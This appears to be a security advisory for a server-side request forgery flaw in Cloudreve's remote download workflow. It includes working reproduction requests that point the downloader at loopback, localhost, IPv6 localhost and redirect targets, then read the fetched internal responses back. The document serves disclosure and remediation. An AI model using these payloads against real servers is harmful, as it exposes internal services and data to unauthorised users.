When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files. This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator. ## Attacker requirements The attacker must be: - authenticated - non-admin - in a user group where `GroupPermissionRemoteDownload` is enabled Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default `User` group does not. ## Affected endpoint ```http POST /api/v4/workflow/download ``` Follow-up attacker readback was performed through normal workflow and file APIs: ```http GET /api/v4/workflow?category=downloaded... GET /api/v4/file?uri=cloudreve://my... POST /api/v4/file/url ``` ## Root cause The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader. Relevant code paths: - `service/explorer/workflows.go:81` - `pkg/filemanager/workflows/remote_download.go:202` - `pkg/downloader/aria2/aria2.go:56` The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses. ## Impact A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment. In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files. Confirmed targets: - `http://127.0.0.1:7777/secret2` - `http://localhost:7777/localsecret` - `http://[::1]:7780/v6secret` - redirect to `http://127.0.0.1:7777/redirsecret` This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker. ## Reproduction ### 1. Permission negative control The attacker is a normal non-admin user in the default `User` group. Before enabling remote download for the group: ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"} ``` Response: ```json {"code":40007,"msg":"Group not allowed to download files"} ``` ### 2. Enable only remote download permission for the non-admin group The default install grants remote download to the admin group only. The default `User` group does not have it. Confirmed in: - `inventory/migration.go:154` - `inventory/migration.go:179` For this test, I only changed group 2 permissions from: ```text hAg= ``` to: ```text hAo= ``` The attacker remained in the `User` group and was not made admin. `GET /api/v4/user/me` still returned the group name as `User`. ### 3. Start an internal listener Example listener on the Cloudreve host: ```text 127.0.0.1:7777 ``` The listener returned a marker response: ```text SSRF_SECRET_2_20260527 ``` ### 4. Queue a remote download to loopback ```http POST /api/v4/workflow/download Content-Type: application/json {"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"} ``` Response: ```json {"code":0,"data":[{"id":"OzH4","status":"queued","type":"remote_download"}]} ``` The internal listener received the request: ```text 127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 - ``` Aria2 completed the download: ```text Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2 ``` ### 5. Read the imported internal response as the attacker The task completed successfully: ```json {"id":"OzH4","status":"completed","summary":{"props":{"src_str":"http://127.0.0.1:7777/secret2","failed":0}}} ``` The attacker could list the imported file: ```json {"name":"secret2","path":"cloudreve://my/secret2"} ``` The attacker could then download and read the response body: ```text SSRF_SECRET_2_20260527 ``` ## Additional validated variants ### localhost Input: ```text http://localhost:7777/localsecret ``` Attacker readback: ```text LOCALHOST_SECRET_20260527 ``` ### Redirect to loopback Input: ```text http://127.0.0.1:7779/anything ``` Redirect: ```text 302 Location: http://127.0.0.1:7777/redirsecret ``` Attacker readback: ```text REDIR_SECRET_20260527 ``` ### IPv6 localhost Input: ```text http://[::1]:7780/v6secret ``` Attacker readback: ```text IPV6_SECRET_20260527 ``` ## Expected behavior Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator. Redirect targets should be checked with the same policy. ## Actual behavior Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it. ## Affected packages - `github.com/cloudreve/Cloudreve/v4 < 4.0.0-20260606025411-aaebf317a78f` - `github.com/cloudreve/Cloudreve/v3 <= 3.0.0-20250225100611-da4e44b77af4` ## Remediation Upgrade to a patched release: - `github.com/cloudreve/Cloudreve/v4 4.0.0-20260606025411-aaebf317a78f`
